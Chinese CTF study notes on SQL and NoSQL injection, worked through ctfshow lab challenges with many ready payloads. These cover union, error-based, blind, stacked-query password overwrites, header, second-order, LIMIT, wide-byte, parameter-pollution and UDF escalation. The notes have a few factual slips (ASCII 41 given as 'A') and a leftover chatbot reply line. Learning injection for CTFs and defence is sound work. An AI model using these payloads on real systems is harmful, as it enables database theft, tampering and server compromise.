sql注入
前言
之前的sql注入笔记写得太垃圾了,自己都看不懂,现在正好放假,重新再整理一篇,随便回顾一下,至于为什么不用sqlmap一把梭,既然是笔记了,全部都粘sqlmap一把梭的截图也不好吧,当然最后我会写一下sqlmap的用法的
什么是sql注入
SQL注入(SQL Injection)是一种常见的网络安全攻击技术,攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码,欺骗数据库服务器执行非授权的SQL查询命令。
由于数据库系统的架构和SQL语法存在差异,SQL注入手法也因数据库类型而不同:例如MySQL中常用--或#注释,Oracle则使用--并依赖双竖杠||拼接字符串;Access数据库需要借助IIF()函数进行盲注判断;而在Redis这类键值数据库的注入则截然不同——攻击者主要利用未授权访问或通过EVAL命令执行Lua脚本,或通过CONFIG SET修改持久化路径来写入Webshell,其本质是利用了NoSQL的指令注入而非传统的SQL语法注入。
当然由于mysql数据库的开源,以及便捷性,我们还是主要讨论mysql数据库的sql注入方法
sql注入的成因
这里我们用pikachu靶场为例,如果后端用一下代码进行sql语句查询,则会具有sql注入漏洞


这里我们分析后端代码,该代码接收两个参数,一个是确认提交submit,一个就是查询参数id,然后直接执行sql语句查询,如果我们传参id=1 union select version(),database()

就拿到了数据库的信息,(当然,你也可以进行删除,增加等等一系列操作)。
测试是否存在sql注入
使用下面的fuzz字典进行fuzz
1 | select |
sql注入的各种手段
引号拼接
这是SQL注入探测的第一步,旨在判断后端代码如何“包裹”用户输入,以确定最终的SQL语句结构。核心方法是提交一个单引号 ' 或双引号 "。
测试场景
任何在登录框、搜索框、URL参数等任何可输入的地方,尝试提交一个单引号。
这里我们使用ctfshow-web171为例,题目如下:

limit:限制查询返回结果为x行(limit 5,10就是查询结果为第4行在往后取10行)
可以看到给了查询语句,以及根据用户ID进行sql查询,第一个select查询结果不允许有username,参数使用'包裹
这里payload为1' OR '1'='1,查询语句即为
1 | select username,password from user where username !='flag' and id = '1' OR '1'='1' limit 1; |
因为1=1恒等,而OR条件只需二者满足其一即可,所以查询条件恒成立,则会查询当前所有列的所有数据

拿到flag
ctfshow{c5c82b69-b245-4a80-b7ed-df359bc6c21c}
万能密钥
1 | admin' -- |
mysql中的运算符优先级
| 优先级 | 运算符 / 关键字 |
|---|---|
| 1 | := |
| 2 | ` |
| 3 | &&, AND |
| 4 | NOT |
| 5 | BETWEEN, CASE, WHEN, THEN, ELSE |
| 6 | =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN |
| 7 | ` |
| 8 | & |
| 9 | <<, >> |
| 10 | -, + |
| 11 | *, /, DIV, %, MOD |
| 12 | ^ |
| 13 | - (一元减号), ~ (一元比特反转) |
| 14 | ! |
| 15 | BINARY, COLLAT |
下面题目以ctfshow-web181为例

分析题目waf,过滤了可以绕过空格的之类tab,还过滤了用于sql写马的file和into,过滤了union查询的select
查询的sql语句where条件为一个and连接,因为OR的优先级仅次于:=,所以直接使用or拼接即可得到flag
使用括号代替空格进行绕过
1 | 1'or('1'='1')--%01 |
union注入
注入条件
首先要达到union联合注入,要满足以下条件:
union查询所有的结果都满足相同列数(一般使用order by来判断查询结果列数)
order by:代表查询结果按照第几列来进行排序,通常order by第x列回显报错则代表查询结果有x-1列
例如:

这里order by 3报错了,则查询结果有两列
注入过程
当我们判断可以进行union注入时,首先我们要拿到数据库名
下面题目以ctfshow-web172为例
判断查询结果

通用:order by判断查询结果为几列
1
1' order by 3-- a
union注入拿到数据库名
1
1' union select 1,2,database()-- a

这里拿到数据库名
ctfshow_web通用:
拿当前数据库:
1
1' union select 1,2,database()-- a
拿所有数据库:
1
1' union select group_concat(schema_name),2,3 from information_schema.schemata-- a
--后面要空一格才能表示注释union注入拿到表名
1
1' union select 1,2,table_name from information_schema.tables where table_schema=database()-- a

这里拿到两个表名
ctfshow_user、ctfshow_user2通用:
1
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- a
group_concat:将当前分组统一输出,我个人习惯用这个,能避免输出多行的问题(有些题目无法注释,且限制多行输出时即可使用)union注入拿到列名
1
1' union select column_name,2,3 from information_schema.columns where table_name='ctfshow_user2' and table_schema=database()-- a

拿到三个列名
id、username、password通用:
1
1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='ctfshow_user2' and table_schema=database()-- a
union查询字段名
1
1' union select username,password,3 from ctfshow_user2-- a

拿到flag
ctfshow{7f1a6a08-f299-477b-be11-6f55207637dc}
通用:
1
1' union select group_concat(username),group_concat(password),3 from ctfshow_user2-- a
报错注入
这里以ctfshow-web244为例,题目如下:

判断报错注入
输入特殊字符,有语法错误回显即存在报错注入,如下:
1
'

获取数据库名
使用updatexml执行sql语句并将其当作报错语句报错出来(0x7e=’~’)
1
' or updatexml(1,concat(0x7e,(select database())),3)-- a
UPDATEXML(xml_target, xpath_expr, new_xml):- xml_target: 要修改的 XML 字符串或列
- xpath_expr: XPath 表达式,定位要更新的节点(重点就在于XPath表达式可以执行sql语句)
- new_xml: 替换节点的新 XML 内容
1
2
3
4
5-- 执行过程:
-- 1. 执行子查询:select group_concat(table_name) from information_schema.tables where table_schema=database() → 所有的表名
-- 2. CONCAT生成XPath:`~所有表名~`
-- 3. MySQL验证XPath:发现 `~` 不是有效的XPath语法
-- 4. 报错并显示:`XPATH syntax error: '~所有表名~'`
获取数据表名
1 | ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)-- a |

获取列名
1 | ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag' and table_schema=database())),3)-- a |

获取数据项
MySQL 错误信息最多显示 64 个字符,XPath 表达式长度不能超过 65535 个字符,所以flag需要截断获取,这里使用substr及其等价函数即可
substr获取前30字符:
1 | ' or updatexml(1,concat(0x7e,substr((select flag from ctfshow_flag),1,30)),3)-- a |
substr获取后30字符:
1 | ' or updatexml(1,concat(0x7e,substr((select flag from ctfshow_flag),31,30)),3)-- a |
堆叠注入
定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
对于mysql简单来说就是加上;从而保证我们分号后面的语句达到sql注入的效果。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
所以在正常的渗透测试中,我们会尽量避免增删改数据,以此造成垃圾数据,因此这项注入多用于ctf比赛当中.
注入过程
这里以ctfshow-web195为例,题目如下:

查询语句是根据where的筛选条件,进行pass查询
返回逻辑检测,密码输入只能为数字,密码判断即为登录成功,waf拦截,用户名不能sql注入写马,不能用union注入,过滤空格
这里flag返回逻辑是只要登录成功就会返回flag,所以用堆叠注入把查询的密码进行修改,空格被过滤用反引号包裹表名、列名即可
根据前面的关卡,已知条件:数据库ctfshow_web数据表ctfshow_user密码列pass
如果是有查询结果返回的题目,可以试一下下面的堆叠注入(这里只会返回登录成功之类,没有查询结果返回)
查询当前数据库
1
admin;show databases;
查询当前数据表
1
admin;show tables;
查询列数据
1
admin;show columns from ctfshow_user;
这里账户不是admin了,经过测试0返回密码错误,即存在0这个账户
修改ctfshow_user的pass这一列所有数据项为0
1 | 0;update`ctfshow_user`set`pass`=0 |
修改成功之后直接使用密码为0登录即成功拿到flag
盲注
布尔盲注
这里以ctfshow-web174为例,题目如下:

这里对输出进行了过滤,只有在没有flag以及没有数字的情况下,才会进行回显正确
判断布尔盲注
- 首先利用引号拼接测试是否有true和false两种情况回显
true情况回显:
1 | 1' and '1'='1'-- a |

false情况回显:
1 | 1' and '1'='2'-- a |

数据库长度
- 获取数据库长度
1 | 1' and length(database())=1-- a |
length():获取字符串的长度
将这个请求直接发送到bp的intruder模块中,从1爆破到20,一般数据库长度不会超过20位

按回显长度排序,很明显第11位爆破时有结果,回显内容也不同,说明数据库的长度为11位

数据库名
- 获取数据库名
1 | 1' and ascii(substr(database(),1,1))=1-- a |
substr(x,y):代表从第x位取y个字符,(sql注入中y始终为1,表示取第x位字符)
ascii:代表ascii码十进制代表的字符,例如41代表A
依然是将payload放入bp的intruder模块中,取substr的x和ascii的值为攻击变量,x为从1到11(我们刚才获取的数据库长度),ascii码值为ascii的十进制范围即1到127,攻击模式为最后一个集束炸弹

先按回显长度排序,再按攻击顺序(id)排序,payload2即是数据库每一位字符的ascii码十进制

拿一个提取文字截图工具,提取之后,放到十进制转ascii工具中

成功拿到数据库名:ctfshow_web
数据表长度
- 获取需要注入数据库的所有数据库表的长度
接下来的步骤都大差不差就payload有些改变,但是爆破流程和转换流程是一样的
1 | 1' and length((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'))=1-- a |
select语句查询理解:从information_schema.tables这个表查询,筛选条件为数据库名为当前数据库,最后用group_concat将查询结果统一分组输出
这里末尾有两个括号,一个是length函数的括号,一个是将执行select语句的括号
将这个请求直接发送到bp的intruder模块中,从1爆破到100,题目当前数据库的所有表名合起来长度不会超过100(真实环境的话,表名长度估计上千左右,真实开发数据库会有很多表)如果没有结果,就继续加长度

按回显长度排序,很明显第13位爆破时有结果,回显内容也不同,说明当前数据库的所有表名合起来长度为13

数据表名
- 获取数据库表名
1 | 1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),1,1))=1-- a |
这里和获取数据库名差不多,也是使用ascii和substr,注意:database后面还有一个select的括号,以及语句最后有两个括号即可
依然是将payload放入bp的intruder模块中,取substr的x和ascii的值为攻击变量,x为从1到13(我们刚才获取的当前数据库的所有表名长度),ascii码值为ascii的十进制范围即1到127,攻击模式为最后一个集束炸弹

先按回显长度排序,再按攻击顺序(id)排序,payload2即是当前数据库的所有表名每一位字符的ascii码十进制,后面转换我就不详细描述了,和前面获取数据库一样

成功拿到当前数据库所有表名:ctfshow_user4
列长度
- 获取查询表的所有列长度
1 | 1' and length((select group_concat(column_name) from information_schema.columns where table_name='flagbab' and table_schema='ctfshow'))=1-- a |
select语句查询理解:从information_schema.columns这个表查询,筛选条件为数据库名为当前数据库表名为想要查询表,最后用group_concat将查询结果统一分组输出
将这个请求直接发送到bp的intruder模块中,从1爆破到100,题目当前数据库的查询表的所有列名合起来长度不会超过100(真实环境的话,列长度看数据库体量(大的话几百上千万都是有可能的),真实开发列数据量庞大)如果没有结果,就继续加长度

按回显长度排序,很明显第20位爆破时有结果,回显内容也不同,说明当前数据库的查询表的所有列名合起来长度为20

具体列
- 获取查询表的所有列
1 | 1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagbab' and table_schema='ctfshow'),1,1))=1-- a |
依然是将payload放入bp的intruder模块中,取substr的x和ascii的值为攻击变量,x为从1到20(我们刚才获取的当前数据库查询表的列名长度),ascii码值为ascii的十进制范围即1到127,攻击模式为最后一个集束炸弹

先按回显长度排序,再按攻击顺序(id)排序,payload2即是当前数据库的所有表名每一位字符的ascii码十进制,后面转换我就不详细描述了,和前面获取数据库一样

成功拿到查询表的所有列名:id、username、password
数据项长度
- 获取具体列的值长度/数据项的长度
首先我们获取username的这个列的吧
获取所有数据项长度:
1 | 1' and length((select group_concat(username) from ctfshow_user4))=1-- a |
只获取一条数据项长度:
1 | 1' and length((select username from ctfshow_user4 limit 0,1))=1-- a |
将这个请求直接发送到bp的intruder模块中,从1爆破到2000,这个长度涉及到了具体的数据了,这个也是看数据库体量的(真实环境中,如果是人员信息数据库,那么这个可以说大到无法想象)

依然按照回显长度排序,可以拿到username这一列的所有值的长度为211

数据项值
- 获取具体列的值
获取具体列的所有数据项
1 | 1' and ascii(substr((select group_concat(flag4sa) from ctfshow.flagbab),1,1))=1-- a |
获取具体列的一条数据项
1 | 1' and ascii(substr((select username from ctfshow_user4 limit 0,1),1,1))=1-- a |

先按回显长度排序,再按攻击顺序(id)排序,payload2即是具体列的所有数据项每一位字符的ascii码十进制


成功拿到具体列的所有数据项:admin,user1,user4,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,flag
获取行
- 获取一行数据
这里我们已知一列的数据项,获取该列该数据项的一行数据即简单许多,还是回到这道题,我们已知数据表为三列:id、username、password,已知username所有数据项,获取数据项为flag的一行数据
首先还是获取flag这一行,passowrd这一列的数据项的长度
1
1' and length((select password from ctfshow_user4 where username='flag'))=1-- a
这里就属于password具体值长度,现在数据库都用加盐慢哈希存储,一般存储也是给一个可变数据类型varchar,所以一般从1爆破到256即可(这里是ctfshow题目,给的固定flag长度为45)

还是按回显长度排序,拿到flag的password数据项长度为45

获取flag的password的数据项
1
1' and ascii(substr((select password from ctfshow_user4 where username='flag'),1,1))=1-- a

先按回显长度排序,再按攻击顺序(id)排序,payload2即是具体列的具体数据项每一位字符的ascii码十进制


成功拿到flag也是flag这一行
ctfshow{fd6fbf5b-2d79-43c1-a7e7-c869a146ae92}
时间盲注
这里以ctfshow-web175为例,题目如下:

题目限制:如果匹配到了\x00-\x7f范围,即为失败,这个是所有可见字符的ascii十六进制,即所有字符都被禁止,你正常查询也是无数据回显,这个就是典型的时间盲注
delete的时间盲注只能线程不能并发
判断时间盲注
首先判断是否可以进行时间盲注,判断的话就把sleep时间调长一些,以免网速的影响
1
1' and if(1=1,sleep(10),null)-- a
IF(condition, value_if_true, value_if_false):condition值为需要判断的条件表达式,value_if_true是condition为真时返回的值,value_if_false相反sleep:顾名思义睡眠时间,单位是秒
可以看到进入了加载时间,也可以用bp抓包看响应时间,都是可以进行判断sleep是否执行成功
数据库长度
- 获取数据库长度
时间盲注和布尔盲注其实大致流程都差不多,只是多了一个if函数进行判断,但是时间要比布尔盲注长很多,因为sleep判断需要时间
1 | 1' and if(length(database())=1,sleep(4),null)-- a |
获取全部数据库的长度
1 | 1' and if(length((select group_concat(schema_name) from information_schema.schemata))=1,sleep(4),null)-- a |

筛选变了,因为不管执行成功还是失败,回显都是一样,所以根据接收到响应进行排序

明显第11条符合我们sleep(4)的执行,即数据库长度为11
数据库名
- 获取当前数据库
1 | 1' and if(ascii(substr(database(),1,1))=1,sleep(4),null)-- a |
获取所有数据库
1 | 1' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=1,sleep(4),null)-- a |

为响应时间不同添加高亮,然后筛选为仅显示高亮,依然是payload2的ascii码转字符串


成功拿到数据库名:ctfshow_web
数据表长度
获取需要注入数据库的所有数据库表的长度
1
1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,sleep(4),null)-- a

响应时间排序,拿到所有表长度为13

数据表名
获取数据库表名
1
1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1,sleep(4),null)-- a

响应时间排序,ascii码十进制转字符串


拿到所有表名:
ctfshow_user5
列长度
获取查询表的所有列长度
1
1' and if(length((select group_concat(column_name) from information_schema.columns where table_name='flagugs' and table_schema='ctfshow'))=1,sleep(4),null)-- a

响应时间排序,拿到所有列长度为20

具体列
获取查询表的所有列
1
1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flagugs' and table_schema='ctfshow'),1,1))=1,sleep(4),null)-- a

响应时间排序,ascii码十进制转字符串


拿到具体列的值:
id、username、password
数据项长度
获取具体列的值长度/数据项的长度
首先我们获取username的这个列的吧
获取所有数据项长度:
1
1' and if(length((select group_concat(flag43s) from flagugs))=1,sleep(4),null)-- a
只获取一条数据项长度:
1
1' and if(length((select username from ctfshow_user5 limit 0,1))=1,sleep(4),null)-- a
图片的示例都是按照获取所有数据项来的

响应时间排序,拿到所有数据项长度和为211

数据项值
获取具体列的值
获取具体列的所有数据项
1 | 1' and if(ascii(substr((select group_concat(flag43s) from flagugs),1,1))=1,sleep(4),null)-- a |
获取具体列的一条数据项
1 | 1' and if(ascii(substr((select group_concat(username) from ctfshow_user5 limit 0,1),1,1))=1,sleep(4),null)-- a |

响应时间排序,ascii码十进制转字符串


成功获取数据项值:admin,userl,user5,userAUTO, userAUTO, userAUTO, userAUTO,userAUTO, userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,flag
获取行
- 获取一行数据
这里我们已知一列的数据项,获取该列该数据项的一行数据即简单许多,还是回到这道题,我们已知数据表为三列:id、username、password,已知username所有数据项,获取数据项为flag的一行数据
首先还是获取flag这一行,passowrd这一列的数据项的长度
1
1' and if(length((select password from ctfshow_user5 where username='flag'))=1,sleep(4),null)-- a

还是按响应时间排序,拿到flag的password数据项长度为45

获取flag的password的数据项
1
1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),1,1))=1,sleep(4),null)-- a

响应时间排序,ascii码十进制转字符串


成功拿到flag也是flag这一行
ctfshow{4f7c17af-77c7-47bb-8218-20e9f71785e6}
http头注入
UA头注入
这里以ctfshow-web534为例,题目如下:

登录用户dumb:dumb之后,回显了登录的ip以及ua,可知后端接收了ua,(漏洞点在于后端用sql语句将ua记录在日志中)尝试ua注入
判断是否有注入点,ua加入’”)
1
’”)

可以看到题目回显了mysql报错,首先就确定了有报错注入
获取数据库名
后端语句为:
1
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
将值括号闭合payload如下:
1
' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),3) or'
或者将ip和username的补上
1
' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),3),1,1)-- a
获取表名
将值括号闭合payload如下:
1
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),3) or'
获取列名
1
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctfshow')),3) or'
获取数据项
substr获取前30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),1,30)),3) or'
substr获取后30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),31,30)),3) or'
referer注入
这里以ctfshow-web535为例,题目如下:

和上一关不同的就是换成了referer回显,其他都是一样的
获取数据库名
1
' or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),3) or'
获取表名
将值括号闭合payload如下:
1
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),3) or'
获取列名
1
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctfshow')),3) or'
获取数据项
substr获取前30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),1,30)),3) or'
substr获取后30字符:
1
' or updatexml(1,concat(0x7e,substr((select flag4 from ctfshow.flag),31,30)),3) or'
cookie注入
这里以ctfshow-web536为例,题目如下:

登录成功之后,返回了cookie,尝试对cookie进行判断是否有注入点

有limit回显,尝试union注入
判断列数
1
' order by 3-- a
获取数据库名
1
' union select group_concat(schema_name),2,3 from information_schema.schemata-- a
获取数据表名
1
' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow'-- a
获取数据列名
1
' union select group_concat(column_name),2,3 from information_schema.columns where table_name='flag' and table_schema='ctfshow'-- a
获取数据项
1
' union select 1,flag4,3 from ctfshow.flag-- a
二次注入
二次注入就是后端没有预处理前端传来的数据,就将其保留在数据库中,再次查询的时候由于脏数据的影响,从而达到了二次注入
这里以ctfshow-web540为例,题目如下:


登录成功之后可以修改密码,首页可以进行忘记密码和注册账户
我们首先注册一个脏数据用户
1 | username:admin'# |
再将其忘记密码,后端忘记密码语句为
1 | UPDATE users SET PASSWORD='12345' where username='admin'#' and password='123' |
这样达到越权修改管理员密码的地步,成功修改了admin的管理员密码为12345

这里可以看到只有admin没有被转义,也只有admin有注入点,并且没有报错输出,只能打盲注了
- 在注册admin处输入脏数据
- 登录admin脏数据账户
- 修改密码进行盲注
1 | import requests |
limit注入
这里以ctfshow-web221为例,题目如下:

查询语句接收page、limit值,但只影响limit后参数,返回逻辑没有过滤
参考文献:[转载]Mysql下Limit注入方法 | 离别歌
limit后可以接两个函数,PROCEDURE 和 INTO,into我们很熟悉了,是用于sql注入写马,这里我们主要考虑procedure
procedure analyse(max_elements,max_memory):max_elements表示分析过程中限制最大的不同元素数量,max_memory表示分析过程中限制最大使用内存。procedure analyse这个函数会对前段sql语句的输出结果进行分析,并给出建议,如下:
1 | select * from user procedure analyse(2,16384) # 对user表的查询结果,只分析至少有两个不同结果的列,最大内存16kb |
UNION语句中不允许使用PROCEDURE子句。
主要是procedure analyse中可以进行sql语句的执行
这题我们在procedure analyse中穿插报错注入
1 | ?page=10&limit=10 procedure analyse(extractvalue(1,concat(0x3a,database())),1); |
即查询语句修改为
1 | select * from ctfshow_user limit 9*10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);,10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);; |
时间注入
1 | ?page=10&limit=10 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),null))))),1); |
group by 注入
这里用ctfshow-web222为例,题目如下:
查询语句为查询一个表的全部数据,并且根据传参username进行排序,这里用if进行用布尔盲注和时间盲注即可
布尔盲注判断:group by 后条件直接使用if的布尔盲注代替即可(推荐)
时间盲注判断:group by 后直接使用if判断,成功即sleep,例如:group by if(1=1,sleep(4),null),但是group by会查询所有行数,所以有多少行就会执行多少次sleep
having判断:类似于where,在语法上更被支持,where后接条件判断
布尔盲注
获取数据库长度
1
?u=if(length(database())=1,username,null)-- a
获取数据库
1
?u=if(ascii(substr(database(),1,1))=1,username,null)-- a
获取数据表长度
1
?u=if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,username,null)-- a
获取数据表
1
?u=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1,username,null)-- a
获取列长度
1
?u=if(length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga' and table_schema=database()))=1,username,null)-- a
获取列
1
?u=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga' and table_schema=database()),1,1))=1,username,null)-- a
获取flagaabc这一列的数据项长度
1
?u=if(length((select group_concat(flagaabc) from ctfshow_flaga))=1,username,null)-- a
获取flagaabc这一列的数据项
1
?u=if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),1,1))=1,username,null)-- a
时间盲注
获取数据库
1
?u=if(ascii(substr(database(),1,1))=1,sleep(1),null)-- a
获取数据表长度
1
?u=if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,sleep(1),null)-- a
获取数据表
1
?u=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=1,sleep(1),null)-- a
获取列长度
1
?u=if(length((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga' and table_schema=database()))=1,sleep(1),null)-- a
获取列
1
?u=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga' and table_schema=database()),1,1))=1,sleep(1),null)-- a
获取flagaabc这一列的数据项长度
1
?u=if(length((select group_concat(flagaabc) from ctfshow_flaga))=1,sleep(1),null)-- a
获取flagaabc这一列的数据项
1
?u=if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),1,1))=1,sleep(1),null)-- a
udf注入
udf介绍以及前提条件
参考文章:ctf.show
这里以ctfshow-web248为例,题目如下:

题目要求使用udf注入,拿到flag
UDF(User Defined Function,用户自定义函数)注入,允许攻击者通过创建自定义函数来执行系统命令,实现从数据库提权到操作系统。
用C/C++开发,编译成动态链接库(.dll或.so文件),可以在SQL语句中调用。例如:
1 | -- 正常UDF使用示例 |
需要满足的条件
1
2
3
4
5-- 需要满足的条件
1. MySQL版本:MySQL >= 5.0
2. 拥有FILE权限(可以读写文件)
3. 知道插件目录路径
4. 可以创建/修改文件获取信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16-- 查看MySQL版本
SELECT VERSION();
-- 查看插件目录
SELECT @@plugin_dir;
-- Linux: /usr/lib/mysql/plugin/
-- Windows: C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\
-- 查看是否有FILE权限
SELECT file_priv FROM mysql.user WHERE user = 'current_user';
-- 查看secure_file_priv限制
SELECT @@secure_file_priv;
-- NULL: 不允许导入导出
-- 空字符串: 任意目录
-- 指定路径: 只能在该路径
udf注入利用
这是大佬的脚本,参考脚本:SQL注入 | Lazzaro
1 | #参考脚本 |
- code为恶意的so文件
nosql注入
nosql基本概念
NoSQL,全称是“Not Only SQL”(不仅仅是SQL),指的是非关系型的数据库管理系统。例如:文档数据库(mongodb)、键值数据库(redis)、列族数据库(Apache Cassandra)、图数据库(Neo4j)…..
nosql注入介绍
参考文章:NoSQL注入小笔记 – Ruilin
前端登录检验代码如下:
1 | app.post(‘/login’, async (req, res) => { |
正常登录请求如下:
1 | { |
恶意payload如下:
1 | { |
$ne操作符 代表 “not equal” (不等于)。- 则原句改为:在
users集合中,查找一个username为 “admin” 且password不等于空字符串 ($ne: “”) 的文档。密码不为空即可登录成功。
好的,这是您提供的MongoDB查询操作符整理成的Markdown表格:
| 操作符 | 含义 | 示例 |
|---|---|---|
$gt |
大于 (>) |
db.collection.find({'age': {'$gt': 18}}) |
$lt |
小于 (<) |
db.collection.find({'age': {'$lt': 60}}) |
$gte |
大于等于 (>=) |
db.collection.find({'age': {'$gte': 18}}) |
$lte |
小于等于 (<=) |
db.collection.find({'age': {'$lte': 60}}) |
$ne |
不等于 (!= 或 <>) |
db.collection.find({'status': {'$ne': 'disabled'}}) |
$in |
包含于 (in) | db.collection.find({'status': {'$in': ['active', 'pending']}}) |
$nin |
不包含于 (not in) | db.collection.find({'status': {'$nin': ['deleted', 'banned']}}) |
$all |
全部包含 (all) | db.collection.find({'tags': {'$all': ['mongodb', 'database']}}) |
$or |
或 (or) | db.collection.find({'$or': [{'status': 'active'}, {'age': {'$lt': 18}}]}) |
$not |
反匹配 (not) | db.collection.find({'age': {'$not': {'$gt': 50}}}) |
$regex |
正则表达式(模糊查询) | db.customer.find({'name': {'$regex': '.*s.*'} }) |
重言式注入
这里用ctfshow-web250为例,题目如下:

查询语句直接接收然后使用mongodb查询,查询结果大于0即可返回flag
重言式注入也是永真式注入,只让查询条件为真即可
1 | username=admin&password[$ne]=1 |
- username为admin,密码不为1即可登录成功
1 | username[$regex]=.&password[$regex]=. |
- 账户和密码正则匹配所有字符,即登录成功
重演式布尔盲注
这里用ctfshow-web253为例,题目如下:

使用永真式登录之后只会回显登录成功,错误则登录失败,所以可以打布尔盲注
1 | import requests |
宽字节注入
参考文章:2025 sqli-labs通关流程 手把手教 详细讲解_sqlilabs-CSDN博客
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。因此我们在此想办法将’前面添加的\除掉,一般有两种思路:
%df 吃掉 \。具体的原因是 urlencode(') = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
将 \’ 中的 \ 过滤掉,例如可以构造 %5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法。
这里以ctfshow-web552为例,题目如下:

还是进行id注入,后端源码如下:

简单来说就是对单引号和双引号做了转义处理,按照宽字节注入的思想,我们只用将转义字符吃掉,或者也转义掉即可
在%27前添加%df或者%5c即可,其他的都是依旧,我这里就只给最终的paylaod(这题将转义字符也过滤了,所以只能添加%df)
mysqli_real_escape_string和addslashes都是转义字符的函数,都可以用宽字节注入进行绕过
1 | ?id=99%df%27 union select 1,group_concat(flag4s),3 from ctfshow.flags-- a |
如果是POST型的参数,即使用汉字将转义字符吃掉
1 | uname=dumb汉' union select group_concat(flag4s),3 from ctfshow.flags-- a&passwd=dumb&submit=Submit |
http参数污染
在处理前端的请求参数时,不同的服务器对这些参数的处理不同,从而造成了http参数污染注入
| Web服务器/应用容器 | 参数处理方式 | 示例 (http://example.com?name=value1&name=value2) |
|---|---|---|
| Nginx (配合PHP) | 取最后一个参数 | $_GET['name'] 的值为 value2 |
| Apache (mod_php) | 取最后一个参数 | $_GET['name'] 的值为 value2 |
| Apache (Tomcat/AJP) | 取第一个参数 | request.getParameter("name") 的值为 value1 |
| IIS (ASP.Net) | 取所有参数,拼接成逗号分隔的字符串 | Request.QueryString("name") 的值为 value1,value2 |
| Python (Flask/Django) | 取列表 | request.args.getlist('name') 返回 ['value1', 'value2'] |
| Node.js (Express) | 取数组 | req.query.name 的值为 ['value1', 'value2'] |
| Java (Tomcat) | 取第一个参数 | request.getParameter("name") 的值为 value1 |
这里以ctfshow-web549为例,题目如下:

给id赋值传参,回显该id的username:password,根据id进行注入,题目是在tomcat处添加了过滤器,来防止sql注入,由于同一参数参数的情况下,tomcat取第一个参数值,apache取最后一个参数值,所以注入点就在于第二个参数
这里对第二个参数正常进行union注入即可,就给最后获取到flag的payload
1 | ?id=1&id=99' union select 1,group_concat(flag4s),3 from ctfshow.flags-- a |
绕过
双写绕过
